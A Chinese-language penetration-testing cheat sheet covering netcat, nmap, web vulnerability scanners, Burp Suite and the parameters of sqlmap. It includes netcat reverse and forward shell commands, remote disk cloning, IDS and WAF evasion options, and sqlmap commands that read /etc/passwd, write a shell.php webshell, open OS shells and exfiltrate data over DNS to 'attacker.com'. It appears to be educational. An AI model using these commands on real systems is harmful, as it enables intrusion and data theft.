端口扫描类:
nc(重点)
- 常用参数:-u: 指定为udp,默认监听的是tcp端口-n: 告诉netcat 不要使用DNS反向查询IP地址的域名-v: 详细输出-l: 用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。-p: 指定具体端口1.查看端口是否开放以及banner信息
- • nc –nv 1.1.1.1 80
-
- 2.NC——传输文本信息
- • A:nc -l -p 4444 //Server端监听本机的4444端口
- • B:nc –nv 1.1.1.1 4444 //Client端连接Server端的4444端口
-
- 3.NC——传输文件/目录
- • 传输文件
- • A:nc -lp 333 > 1.mp4
- • B:nc -nv 1.1.1.1 333 < 1.mp4 –q 1 //-q 1代表超过1秒没有回应就断开
- • 或
- • A:nc -q 1 -lp 333 < a.mp4
- • B: nc -nv 1.1.1.1 333 > 2.mp4
- • 传输目录
- • A:tar -cvf - music/ | nc -lp 333 –q 1
- • B:nc -nv 1.1.1.1 333 | tar -xvf –
- • 加密传文件
- • A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4
- • B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
-
- 4.NC——流媒体服务
- • A: cat 1.mp4 | nc -lp 333
- • B: 1.1.1.1 333 | mplayer -vo x11 -cache 3000 -
-
- 5.NC——端口扫描
- • nc -nvz 1.1.1.1 1-65535
- • nc –vnzu 1.1.1.1 1-1024 //u表示UDP端口
-
- 6.NC——远程克隆硬盘
- • A: nc -lp 333 | dd of=/dev/sda
- • B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1
- • 远程电子取证,可以将目标服务器硬盘远程复制,或者内存。
-
- 7.NC——远程控制
- • 正向shell:
- • A:nc -lp 333 -c bash
- • B:nc 1.1.1.1 333
- • 反向shell:
- • A:nc -lp 333
- • B:nc 1.1.1.1 333 -c bash
- • 注:Windows用户把bash改成cmd;正向shell打开的是服务端的shell终端,反向shell打开的是客户端的shell终端,因为防火墙的关系,通常反向shell用的比较多
- 8.NC——NCAT
- • Nc缺乏加密和身份验证的能力
- • Ncat包含于nmap工具包中
- • A:ncat ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
- • B:ncat -nv 1.1.1.1 333 --ssl
nmap(重点)
- 常用参数:
- P开头代表是使用Ping方式
- -PU // UDP Ping方式
- -PA // TCP ACK Ping方式
- s开头代表是使用扫描方式
- -sU // UDP扫描
- -sS // TCP SYN扫描
- -sT //-sT (TCP connect()扫描)
-
- -O //输出操作系统版本信息
- 主机发现:
- nmap -sn 1.1.1.1-255 //批量扫描1-255
- nmap -iL iplist.txt -s //根据txt文件地址进行扫描
- • nmap 1.1.1.1-254 -PU53 -sn // -PU UDP Ping方式
- • nmap 1.1.1.1-254 -PA80 –sn //-PA TCP ACK Ping方式
- • nmap -iL iplist.txt -PA80 -sn
- • nmap -sU 1.1.1.1 //-sU UDP扫描
- • nmap 1.1.1.1 -sU -p 53
- • nmap -iL iplist.txt -sU -p 1-200
- 隐蔽端口扫描
- • nmap -sS 1.1.1.1 -p 80,21,25,110,443 //-sS TCP SYN扫描
- • nmap -sS 1.1.1.1 -p 1-65535 --open
- • nmap -sS 1.1.1.1 -p- --open
- • nmap -sS -iL iplist.txt -p 80,21,22,23
- 全连接端口扫描
- • nmap -sT 1.1.1.1 -p 80 //-sT -sT (TCP connect()扫描)
- • nmap -sT 1.1.1.1 -p 80,21,25
- • nmap -sT 1.1.1.1 -p 80-2000
- • nmap -sT -iL iplist.txt -p 80
- • 默认1000个常用端口
- • nc -nv -w 1 -z 192.168.60.4 1-100 //-n (不用域名解析) -v (提高输出信息的详细度)
- • for x in $(seq 20 30); do nc -nv -w 1 -z 1.1.1.1 $x; done | grep open
- • for x in $(seq 1 254); do nc -nv -w 1 -z 1.1.1.$x 80; done
- nmap 172.16.36.135 -sI 172.16.36.134 -Pn -p 0-100 //-sl 僵尸扫描(不常用)
- 服务扫描--banner
- nmap -sT 1.1.1.1 -p 22 --script=banner
- 服务识别
- • nc -nv 1.1.1.1 80
- • nmap 1.1.1.1 -p 80 -sV
- 操作系统
- nmap 1.1.1.1 -O
系统扫描类:
Nessus(重点)
OWASP ZAP (重点)
openvas
Web侦查类:
Httrack //下载克隆站点用的,减少与目标系统交互
Web漏洞扫描类:
Nikto (重点)
- • Perl语言开发的开源Web安全扫描器• 搜索存在安全隐患的文件• 服务器配置漏洞• WEB Application层面的安全隐患• 避免404错误 • 很多服务器不遵守RFC标准,对于不存在的对象返回200状态码 • 依据响应文件类型判断,不同扩展名的文件404响应内容不同 • 去除时间信息后的内容取MD5值 • -no404基本命令: • nikto -update //更新nikto(网络允许的情况下做的第一步)
- • cirt.net
- • http://cirt.net/nikto/UPDATES
- • nikto -list-plugins //列出nikto里面的所有插件
- • nikto -host http://1.1.1.1
- • nikto -host 192.168.1.1 -ssl -port 443,8443,995 //带ssl方式和端口方式的扫描
- • nikto -host host.txt //通过一个列表文件批量进行扫描,列表文件格式支持:1、192.168.1.159 2、192.168.1.159:80 3、https://192.168.1.159:8443
- • nmap -p80 192.168.1.0/24 -oG - | nikto -host - //结合nmap一起使用
- • nikto -host 192.168.1.1 -useproxy http://localhost:8087 //使用代理的方式进行扫描,也可以在配置文件里进行修改
- • -vhos
- • -evation //使用Libwhisker中对IDS的躲避技术,可使用以下几种类型
- 1.随机URL编码(非UTF-8模式)
- 2.自选择路径(/./)
- 3.过早结束的URL
- 4.优先考虑长随机字符串
- 5.参数欺骗
- 6.使用TAB作为命令的分隔符
- 7.使用变化的URL
- 8.使用Windows路径分隔符"\"
- Nikto-interactive //nikto扫描的交互模式
- • Space – report current scan status
- • v – verbose mode on/off //输出详细信息
- • d – debug mode on/off //debug调试模式
- • e – error reporting on/off
- • p – progress reporting on/off
- • r – redirect display on/off
- • c – cookie display on/off
- • a – auth display on/off
- • q – quit
- • N – next host
- • P - Pause
- Nikto配置文件
- /etc/nikto.conf
- USERAGENT= //设置UA
- STATIC-COOKIE="cookie1"="cookie value";"cookie2"="cookie valu” //设置cookie,这样可以扫描需要登录后才能展示的页面
Vega(图形化工具,偏代码层,kali自带)
- JAVA编写的WEB开源扫描器
- 扫描模式
- 代理模式
- 爬站、代理表单、注入测试
- 支持ssl:http://vege/ca.crt
Skipfish(命令行工具,偏代码层扫描)
- C语言编写
- 实验性的主动web安全评估工具
- 递归爬网
- 基于字典的探测
- 速度较快
- 多路单线程,全异步网络I/O,消除内存管理和调度开销
- 启发式内容识别
- 误报较低
-
- 基本命令:
- skipfish -o test http://1.1.1.1 //将扫描结果输出到test文件
- skipfish -o test @url.txt //以txt文件形式获取需要扫描的IP列表
- skipfish -o test -S complet.wl -W a.wl http://1.1.1.1 //#字典
- -I: 只检查包含"String"的URL
- -X: 不检查包含"String"的URL
- -k: 不对指定参数进行fuzz测试
- -D: 跨站爬另外一个域
- -l: 每秒最大请求数
- -m: 每IP最大连接数
- --config: 指定配置文件
-
-
- • 身份认证
- • skipfish -A user:pass -o test http://1.1.1.1
- • skipfish -C “name=val” -o test http://1.1.1.1 //通过扫描抓取获取字段名和值,放入name和val部分
- • Username / Password
- 命令示例:skipfish -o a --auth-form http://192.168.1.101/dvwa/login.php --auth-form-target http://192.168.1.101/dvwa/login.php --auth-user-field username --auth-user admin --auth-pass-field password --auth-pass 123456 --auth-verify-url http://192.168.1.101/dvwa/index.php -I dvwa http://192.168.1.101/dvwa/
- • 扫描结束太快
- • 触发了目标站点的连接数限制,降低-m -l数值
W3af(重点,支持图形和命令行,框架型,非常强大,kali2.0里自带版本执行扫描时挂死,需要手动重装)
- • Web Application Attack and Audit Framework,基于python 语言开发
- • 此框架的目标是帮助你发现和利用所有WEB应用程序漏洞
- • 9大类近150个plugin
- • audit //审计相关
- • infrastructure //基础架构相关
- • grep //正则过滤相关
- • evasion //规避规则相关
- • mangle
- • auth //认证相关
- • bruteforce //暴力相关
- • output
- • crawl
- attack
- 安装
- • cd ~
- • apt-get update
- • apt-get install -y python-pip w3af• apt-get install kali-linux-all //参考,非必要
- • pip install --upgrade pip
- • git clone https://github.com/andresriancho/w3af.git
- • cd w3af
- • ./w3af_console (./w3af_gui)
- • apt-get build-dep python-lxml //这一步如果有问题是因为相关的python扩展包没有安装,请移步至第三章
- • . /tmp/w3af_dependency_install.sh
-
- W3af
- • 升级
- • git pull
- • 创建快捷方式
- • /usr/share/applications/w3af.desktop
- • 用户接口
- • Console
- • Gui
- • API
-
- • W3af_console
- • help #显示可用指令
- • plugin #进入plugin子命令
- • Help #显示可用命令
- • list audit #列出audit类所有插件
- • audit sqli xss #选择使用audit 下的sqli xss
- • http-settings / misc-settings #全局配置
- • help
- • view #查看可配置的参数
- • set #设置参数
- • back #回到上一级
-
-
- • Profiles 用于将设置的规则保存成一个文件,然后通过调用文件去执行
- • save_as self-contained
- • save_as test self-contained
- • Target 设置目标
- • set target http://1.1.1.1/
- • Start
- • Script
- • script/*.w3af
- W3af——身份认证
- • HTTP Basic //基本验证,用户名和密码是Windows的用户名和密码
- • NTLM //NTLM验证,用户名和密码同上
- • Form //form表单验证,需要抓包获取字段名
- • Cookie //双因素身份认证 / anti-CSRF tokens
- 注:W3af的Cookie身份认证是需要通过文件配置的,对文件配置的要求相当严格
- 1.中间的字段分隔符不能用空格只能用tab
- 2.第5段数字那一段代表的是Unix时间戳(从1970年1月1日)开始,后面需要加2个0(因为不加的话你取当前的时间戳,过不了多久就会过期)
格式如下图所示:
• HTTP header file(另类的身份认证方法)
- W3af——截断代理
-
- • W3af 不支持客户端技术(Javascript、Flash、Java applet等)
- • 截断代理手动爬网
- • spider_man
- • output.export_requests
- • http://127.7.7.7/spider_man?terminate //终止spider_man
- • crawl.import_results
- • base64
-
- W3af——其他特性
-
- • exploit
- • Fuzzy Requests
- • Numbers from 0 to 4: $range(5)$
- • First ten letters: $string.lowercase[:10]$
- • The words spam and eggs: $[’spam’, ’eggs’]$
- • The content of a file: $[l.strip() for l in file(’input.txt’)]$
- • Cluster responses
Arachni(Dispatcher和Grid是其和其他扫描器最大的区别)
• Kali自带了旧的arachni阉割版
• 安装
• http://www.arachni-scanner.com/download/#Linux
• tar xvf arachni.tar.gz
• http://localhost:9292/
• admin@admin.admin / administrator
• Profile
• Import
• Export
• New
• Dispatcher
• ./arachni_rpcd --address=127.0.0.1 --port=1111 --nickname=test1 //新建扫描的时候选择advanced---->remote可以设定dispatcher(最好是用远程的),可以实现扫描时候的高可用,多条线路,如果某一条被服务器方的管理员给禁掉了,另外其他的会自动切换,nickname指我为这个dispatcher取个昵称
• Grid
• ./arachni_rpcd --nickname=test2 --address=127.0.0.1 --neighbour=127.0.0.1:1111 //将dispatcher分组,对目标机器进行扫描,分组的目的是可以做到负载均衡,内部会根据dispatcher具体情况自动分配任务给不同的dispatcher
• Scan
Owasp-zap(Web扫描必备工具)
• Zed attack proxy
• WEB Application集成渗透测试和漏洞挖掘工具
• 开源免费跨平台,简单易用
• 截断代理
• 主动、被动扫描
• Fuzzy、暴力破解
• API
• http://zap/
• Persist Session // 持久会话
• Mode——Safe、 Protected、Standard、ATTACK // 安全模式
• 升级add-ons // 升级插件
• Scan policy // 扫描策略
• Anti CSRF Tokens
• https——CA //HTTPS证书
• Scope / Contexts / filter
• Http Sessions——default session tokens & site session tokens
• Note / tag
• Passive scan
• 标准扫描工作流程
• 设置代理
• 手动爬网
• 自动爬网
• 主动扫描
Burpsuite(重点,WEB扫描首选,必备工具)
• Web安全工具中的瑞士军刀
• 统一的集成工具发现全部现代WEB安全漏洞
• PortSwigger 公司开发
• Burp Free
• Burp Professional
• http://www.portswigger.net
• 所有的工具共享一个能处理并显示HTTP消息的可扩展框架,模块之间无缝交换信息。
• 字体
• Proxy
• Options
• Invisible (主机头 /多目标域名)
• CA (导入/导出) //证书相关
• Intercept (入站/出站) // 截断,默认开启
• Response modify // 响应修改
• Target
• Scope(logout)
• Filter
• Comparing site map
• Active / Passive Scan
• Extender //扩展模块很多都需要jython的支持,可以去下面的网址进行下载,在不了解其功能的情况下尽量少装,影响性能
• BApp Store
• Jython
• https://www.jython.org/download
• Option
• Scan queue
• Result
Burpsuite——intruder //重点,可以对于提交的页面进行指定的修改,如通过字典文件破解用户名和密码,最好是用Cluster bomb这种集群模式,需要提供2个字典,user.txt和password.txt然后会逐一进行匹配
• POSITION
• Sniper
Battering ram
• Pitchfork
Cluster bomb
Burpsuite——intruder
• PAYLOAD //下面是载荷的类型
• Simple list
• Runtime file
• Character substitution
• Case modification
• Character blocks
• Numbers、Copy other payload
• Dates、Brute forcer、Character frobber、Username generator
• OPTIONS
• Grep match
Burpsuite——repeater //重点,经常将请求的页面send至repeater,就可以对其内容进行任意修改然后重新提交给服务器,比如手动测试账号名和密码
• Repeater
• Request History
• Change request method
• Change body encoding
• Copy as curl command
• Convert selection
• Repeater 菜单
• Engagement tools——generate csrf PoC
• Follow redirections
• Process cookies in redirections
Burpsuite——Sequencer //比较少用,大概原理是如果你的sessionID经常变化,可以通过其内置的算法,来进行预测分析下一次可能生成的session ID值
• 分析程序中可预测的数据
• Session cookies
• anti-CSRF tokens
• Start live capture
• Analyze(数据越多分析越准确)
• 伪随机数算法
• Character-level
• Bit-level
• FIPS—美国联邦信息处理标准(Federal Information Processing Standard)
Burpsuite——编码*
• Decoder
• 使用各种编码绕过服务器端输入过滤
• smart decode
ACUNETIX WEB VULNERABILITY SCANNER(同burpsuite,主要也是web爬网和代理截断的作用,Windows平台下的首选,必备)
• 自动手动爬网,支持AJAX,JAVASCRIPT
• AcuSensor灰盒测试
• 发现爬网无法发现文件
• 额外的漏洞扫描
• 可发现存在漏洞的源码编号
• 支持 PHP 、 .NET(不获取源码的情况下注入已编编译.NET)
• 生成PCI、27001标准合规报告
• 网络扫描 //非擅长,扫描系统层的服务漏洞首选nessus
• FTP, DNS, SMTP, IMAP, POP3, SSH, SNMP,Telnet
• 集成openvas扫描漏洞
• 爬站
• 子域扫描器
• 发现扫描器
• SQL注入验证
• Http editor
• Http sniffer
• HTTP Fuzzer // 重点
• 身份认证测试
• 结果比较
• AcuSensor 安装
• 生成 agent文件 acu_phpaspect.php(PHP5.0以上)
• 将文件拷贝到目标服务器,web程序可以访问到的目录
• 修改 php.ini // 搜索找到 auto_prepend_file这段,然后将生成的acu_phpaspect.php路径指定上去
• php_value auto_prepend_file ’[path to acu_phpaspect.php file]’
APPSCAN
• Watchfire APPScan,2007年被IBM收购,成为IBM APPScan
• 扫描过程
• 探索阶段
• 测试阶段
• 第一个过程发现新的URL地址,下一个扫描过程自动开始
• 软件安装
• 向导方式
• 完全配置
• Glass box
• 相当于 Acusensor
• Agent收集服务器端源代码信息和其他数据
• 主持JAVA 、.NET两种平台
SQL注入类:
SQLMAP(必备)
命令参数
- Target类:
- -d // sqlmap作为客户端直接连接数据库服务器的IP和端口(不是利用SQL漏洞连接)
- -u // 指定要扫描的 URL 如:"http://www.site.com/vuln.php?id=1" (后面必须带参数,仅仅支持Get方法)
- -l // 从Burp 代理的日志文件里面导入进来让sqlmap扫描
- -x // 通过远程的xml站点地图
- -m // 通过指定文件扫描多个目标站点是否存在SQL注入漏洞
- -r // 从一个文件加载http请求
- -g // 利用GoogleHack来进行扫描
- -c // 从一个配置文件加载选项
-
- • Get方法
- • sqlmap -u "http://192.168.20.10/mutillidae/index.php?page=user-info.php&username=11&password=22&user-info-php-submit-button=View+Account+Details" -p username -f // -p 扫描username这个参数是否有注入漏洞
- • 扫描URL列表文件
- • http://1.1.1.1/vuln1.php?q=foobar
- http://1.1.1.1/vuln3/id/1*
- • sqlmap -m list.txt
- • 扫描google搜索结果
- • sqlmap.py -g "inurl:\".php?id=1\""
-
- • POST方法
- • 使用http请求文件(burpsuite)
- • sqlmap -r request.txt
- • 使用burpsuite log文件
- • sqlmap -l log.txt
- • HTTPS
- • sqlmap -u “https://1.1.1.1/a.php?id=1:8843” --force-ssl // 端口如果不是443,就指定端口8843
- • 扫描配置文件
- • sqlmap -c sqlmap.conf
-
-
- REQUEST类:
- --method // 指定请求的方法,如GET,PUT
- --data // GET、PUT方法都适用,填写你要传给服务器的参数,如:sqlmap -u "http://1.1.1.1/a.php" --data="user=1&pass=2" -f
- --param-del // 指定变量分隔符,默认是 & 如:sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1" --param-del=";" -f
- --cookie // 设定cookie的值 如:sqlmap -u "http://1.1.1.1/a.php?id=1" --cookie="security=low; PHPSESSID=a8d127e.." -f
- --cookie-del=COO.. Character used for splitting cookie values (e.g. ;)
- --load-cookies=L.. File containing cookies in Netscape/wget format
- --drop-set-cookie Ignore Set-Cookie header from response
- --user-agent // 指定user-agent,默认是 sqlmap/1.0-dev-nongit-XXXXXXXXXX level>=3
- --random-agent // 使用随机agent,从/usr/share/sqlmap/txt/user-agents.txt选取
- --host // 指定host头的值,需要指定Level =5级别
- --referer // http referer地址 level >= 3
- -H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
- --headers // 添加额外的http头部信息 如:Host、User-Agent 如:sqlmap -u “http://1.1.1.1/a.php?id=1” --headers="Host:www.a.com\nAccept-Language: fr\n" 注意大小写
- --auth-type // 基于http协议协议的身份认证 HTTP 认证类型 (Basic, Digest(摘要身份认证), NTLM(基于Windows的) or PKI) 如:sqlmap. -u "http://1.1.1.1/a.php?id=1" --auth-type Basic --auth-cred "user:pass“
- --auth-cred // HTTP 认证证明 (name:password)
- --auth-file // 基于客户端证书
- --ignore-code=IG.. Ignore (problematic) HTTP error code (e.g. 401)
- --ignore-proxy // 忽略系统级代理设置,通常用于扫描本地网络目标
- --ignore-redirects Ignore redirection attempts
- --ignore-timeouts Ignore connection timeouts
- --proxy // 使用代理 如:• sqlmap -u "http://1.1.1.1/a.php?id=1" --proxy="http://127.0.0.1:8087" -f
- --proxy-cred // 代理认证证明(name:password)
- --proxy-file // 通过文件设置代理
- --tor Use Tor anonymity network
- --tor-port=TORPORT Set Tor proxy port other than default
- --tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
- --check-tor Check to see if Tor is used properly
- --delay // 设置延迟时间,有利于逃避对方的检测机制(单位为秒)
- --timeout // 请求超时时间,浮点数,默认为30秒
- --retries // 连接超时重试次数,默认3次
- --randomize // 长度、类型与原始值保持一致的前提下,指定每次请求随机值取值的参数名
- --safe-url // 结合--safe-freq参数一起使用,检测和盲注阶段会产生大量失败请求,服务器端可能因此销毁session;每发送--safe-freq次注入请求后,发送一次正常请求
- --safe-post=SAFE.. POST data to send to a safe URL
- --safe-req=SAFER.. Load safe HTTP request from a file
- --safe-freq=SAFE.. Test requests between two visits to a given safe URL
- --skip-urlencode // 跳过URL编码,默认Get方法会对传输内容进行编码,某些WEB服务器不遵守RFC标准编码,使用原始字符提交数据
- --csrf-token=CSR.. Parameter used to hold anti-CSRF token
- --csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token
- --force-ssl // 强制使用SSL/HTTPS
- --chunked Use HTTP chunked transfer encoded (POST) requests
- --hpp Use HTTP parameter pollution method
- --eval // 每次请求前执行指定的python代码,每次请求更改或增加新的参数值(时间依赖、其他参数值依赖)
- 示例: sqlmap -u "http://1.1.1.1/a.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"
- • --scope
- • 过滤日志内容,通过正则表达式筛选对象
- • sqlmap -l burp.log --scope="(www)?\.target\.(com|net|org)“
- • sqlmap -l 2.log --scope="(19)?\.168\.20\.(1|10|100)" --level 3 --dbs
- • User-agent中的注入点
- Optimization类:
- -o Turn on all optimization switches
- --predict-output Predict common queries output
- --keep-alive Use persistent HTTP(s) connections
- --null-connection Retrieve page length without actual HTTP response body
- --threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
- • 优化性能
- • --predict-output
- • 根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率
- • 版本名、用户名、密码、Privileges、role、数据库名称、表名、列名
- • 与--threads参数不兼容
- • 统计表:/usr/share/sqlmap/txt/common-outputs.txt
- • --keep-alive
- • 使用http(s)长连接,性能好
- • 与 --proxy参数不兼容
- • 长连接避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源
- • --null-connection
- • 只获取相应页面的大小值,而非页面具体内容
- • 通常用于盲注判断 真 / 假,降低网络带宽消耗
- • 与--text-only参数不兼容(基于页面内容的比较判断 真/假)
- • --threads
- • 最大并发线程
- • 盲注时每个线程获取一个字符(7次请求),获取完成后线程结束
- • 默认值为1,建议不要超过10,否则可能影响站点可用性
- • 与 --predict-output 参数不兼容
- • -o 开启前三个性能参数 (除--threads参数)
- INJECTION类:
- -p TESTPARAMETER Testable parameter(s)
- --skip=SKIP Skip testing for given parameter(s)
- --skip-static Skip testing parameters that not appear to be dynamic
- --param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
- --dbms=DBMS Force back-end DBMS to provided value
- --dbms-cred=DBMS.. DBMS authentication credentials (user:password)
- --os=OS Force back-end DBMS operating system to provided value
- --invalid-bignum Use big numbers for invalidating values
- --invalid-logical Use logical operations for invalidating values
- --invalid-string Use random strings for invalidating values
- --no-cast Turn off payload casting mechanism
- --no-escape Turn off string escaping mechanism
- --prefix=PREFIX Injection payload prefix string
- --suffix=SUFFIX Injection payload suffix string
- --tamper=TAMPER Use given script(s) for tampering injection data
- • -p
- • 指定扫描的参数,使--level失效
- • -p "user-agent, referer"
- • --skip
- • 排除指定的扫描参数
- • --level=5 --skip=“id,user-agent“
- • URI注入点
- • sqlmap -u “http://targeturl/param1/value1*/param2/value2*/"
- • --dbms=“mysql”
- • MySQL <5.0>
- • Oracle <11i>
- • Microsoft SQL Server <2005>
- • PostgreSQL
- • Microsoft Access
- • SQLite
- • Firebird
- • Sybase
- • SAP MaxDB
- • DB2
- • --os
- • Linux
- • Windows
- • --invalid-bignum / --invalid-logical
- • 通常sqlmap使用负值使参数取值失效 id=13 ---> id=-13
- • bignum 使用大数使参数值失效 id= 99999999
- • Logical 使用布尔判断使取值失效 id=13 AND 18=19
- • --no-cast
- • 榨取数据时,sqlmap将所有结果转换为字符串,并用空格替换NULL结果
- • 老版本mysql数据库需要开启此开关
- • --no-escape
- • 处于混淆和避免出错的目的,payload中用单引号界定字符串时,sqlmap使用char()编码逃逸的方法替换字符串
- • SELECT 'foo' --> SELECT CHAR(102)+CHAR(111)+CHAR(111)
- • 本参数将关闭此功能
- • --prefix / --suffix
- • $query = "SELECT * FROM users WHERE id=(’" . $_GET[’id’] . "’) LIMIT 0, 1";
- • sqlmap -u "http://1.1.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "’)" --suffix "AND (’abc’=’abc“
- • query = "SELECT * FROM users WHERE id=(’1’) <PAYLOAD> AND (’abc’=’abc’) LIMIT 0, 1";
- • --tamper
- • 混淆脚本,用于绕过应用层过滤、IPS、WAF
- • sqlmap -u “http://1.1.1.1/a.php?id=1” --tamper="tamper/ between.py,tamper/randomcase.py,tamper/space2comment.py" -v 3
-
- DETECTION类:
- Detection:
- These options can be used to customize the detection phase
- --level=LEVEL Level of tests to perform (1-5, default 1)
- --risk=RISK Risk of tests to perform (1-3, default 1)
- --string=STRING String to match when query is evaluated to True
- --not-string=NOT.. String to match when query is evaluated to False
- --regexp=REGEXP Regexp to match when query is evaluated to True
- --code=CODE HTTP code to match when query is evaluated to True
- --text-only Compare pages based only on the textual content
- --titles Compare pages based only on their titles
- • --level
- • 1-5级,(默认1)
- • /usr/share/sqlmap/xml/payloads
- • --risk
- • 1-4 (默认1 / 无害)
- • Risk升高可造成数据被篡改等风险(update)
- • --string, --not-string, --regexp, --code, --text-only, --titles
- • 页面比较,基于布尔的注入检测,依据返回页面内容的变化判断真假逻辑,但有些页面随时间阈值变化,此时需要人为指定标识真假的字符串。
- Technique类:
- These options can be used to tweak testing of specific SQL injection techniques
- --technique=TECH SQL injection techniques to use (default "BEUSTQ")
- --time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
- --union-cols=UCOLS Range of columns to test for UNION query SQL injection
- --union-char=UCHAR Character to use for bruteforcing number of columns
- --union-from=UFROM Table to use in FROM part of UNION query SQL injection
- --dns-domain=DNS.. Domain name used for DNS exfiltration attack
- --second-url=SEC.. Resulting page URL searched for second-order response
- --second-req=SEC.. Load second-order HTTP request from file
- • 默认使用全部技术
- • B: Boolean-based blind
- • E: Error-based
- • U: Union query-based
- • S: Stacked queries(文件系统、操作系统、注册表必须)
- • T: Time-based blind
- • --time-sec
- • 基于时间的注入检测相应延迟时间(默认5秒)
- • --union-cols
- • 默认联合查询 1-10列,随--level增加最多支持50列
- • --union-cols 6-9
- • --union-char
- • 联合查询默认使用NULL,极端情况下NULL可能失败,此时可以手动指定数值
- • --union-char 123
- • --dns-domain
- • 攻击者控制了某DNS服务器,使用此功能可以提高数据榨取的速度
- • --dns-domain attacker.com
- • --second-url
- • 在一个页面注入的结果,从另一个页面体现出来
- • --second-url http://1.1.1.1/b.php
- Fingerprinter类:
- -f, --fingerprint Perform an extensive DBMS version fingerprint
- • -f , --fingerprint, -b , --banner
- • 数据库管理系统指纹信息
- • DBMS, 操作系统,架构,补丁Enumeration类:
- These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements
- -a, --all // 返回所有信息
- -b, --banner // 返回数据库banner信息
- --current-user // 返回当前数据库用户
- --current-db // 返回当前数据库
- --hostname // 返回当前主机名
- --is-dba
- --users // 返回数据库中存在的用户
- --passwords // 枚举数据库用户密码哈希值
- --privileges // 枚举数据库用户权限
- --roles // 枚举数据库用户角色
- --dbs // 枚举所有数据库
- --tables // 枚举数据表
- --columns // 枚举列
- --schema // 枚举数据库的schema信息
- --count // 统计数据表有多少条数据
- --dump Dump DBMS database table entries
- --dump-all Dump all DBMS databases tables entries
- --search Search column(s), table(s) and/or database name(s)
- --comments Check for DBMS comments during enumeration
- -D DB // 指定数据库
- -T TBL // 指定表
- -C COL DBMS database table column(s) to enumerate
- -X EXCLUDE DBMS database identifier(s) to not enumerate
- -U USER DBMS user to enumerate
- --exclude-sysdbs // 枚举表的时候排除系统数据库
- --pivot-column=P.. Pivot column name
- --where=DUMPWHERE Use WHERE condition while table dumping
- --start=LIMITSTART First dump table entry to retrieve
- --stop=LIMITSTOP Last dump table entry to retrieve
- --first=FIRSTCHAR First query output word character to retrieve
- --last=LASTCHAR Last query output word character to retrieve
- --sql-query=QUERY SQL statement to be executed
- --sql-shell Prompt for an interactive SQL shell
- --sql-file=SQLFILE Execute SQL statements from given file(s)
- BRUTE FORCE类:
- • Mysql < 5.0 , 没有information_schema 库
- • Mysql >= 5.0 但无权读取information_schema 库
- • 微软的access数据库,默认无权读取MSysObjects 库
- • --common-tables
- • --common-columns (Access系统表无列信息)
-
- UDF INJECTION类:(用户定义函数注入类),高级用法,对SQL层面要求较高
- • --udf-inject , --shared-lib
- • 编译共享库创建并上传至 DB Server,以此生成UDF实现高级注入
- • Linux : shared object
- • Windows :DLL
- • http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857 查询相应信息
-
- FILE SYSTEM类:
- • --file-read="/etc/passwd" // 读取/etc/passwd文件
- • --file-write="shell.php" --file-dest "/tmp/shell.php" // 写入文件
-
- OS类:
- • Mysql 、postgresql
- • 上传共享库并生成sys_exec()、sys_eval()两个UDF
- • Mssql
- • xp_cmdshell 存储过程(有就用,禁了启,没有建)
- • --sql-shell
- • --os-shell
- • --os-cmd
-
- WINDOWS REGISTORY类:
- These options can be used to access the back-end database management system Windows registry
- --reg-read // 读取注册表的键值
- --reg-add // 向注册表添加键值
- --reg-del // 删除注册表的键值
- --reg-key
- --reg-value
- --reg-data
- --reg-type
- • sqlmap –u="http://1.1.1.1/a.aspx?id=1" --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
-
-
- GENERAL类:
- These options can be used to set some general working parameters
- -s // sqlite会话文件保存位置
- -t // 记录流量文件保存位置
- --batch // 非交互模式,需要人工选择的时候按默认选项
- --binary-fields=.. Result fields having binary values (e.g. "digest")
- --check-internet Check Internet connection before assessing the target
- --crawl // 从起始位置爬站深度,--batch --crawl=3
- --crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
- --csv-del=CSVDEL dump数据默认存放于” ,”分割的CSV文件中,指定其他分隔符。如: --csv-del=";"
- --charset // 强制字符编码, --charset=GBK
- --dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
- --encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)
- --eta Display for each output the estimated time of arrival
- --flush-session // 清空session
- --forms Parse and test forms on target URL
- --fresh-queries // 忽略session查询结果
- --har=HARFILE Log all HTTP traffic into a HAR file
- --hex // dump非ASCII字符内容时,将其编码为16进制形式,收到后还原。如:sqlmap -u "http://1.1.1.1/s.php?id=1" --hex -v 3
- --output-dir // 指定output输出目录
- --parse-errors // 分析和现实数据库内建报错信息 sqlmap.py -u "http://1.1.1.1/sqlmap/a.asp?id=1" --parse-errors
- --preprocess=PRE.. Use given script(s) for preprocessing of response data
- --repair Redump entries having unknown character marker (?)
- --save // 将这些命令保存成配置文件
- --scope=SCOPE Regexp to filter targets from provided proxy log
- --test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
- --test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
- --update // 更新sqlmapMISCELLANEOUS(混杂的)类:
- -z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
- --alert=ALERT Run host OS command(s) when SQL injection is found
- --answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N")
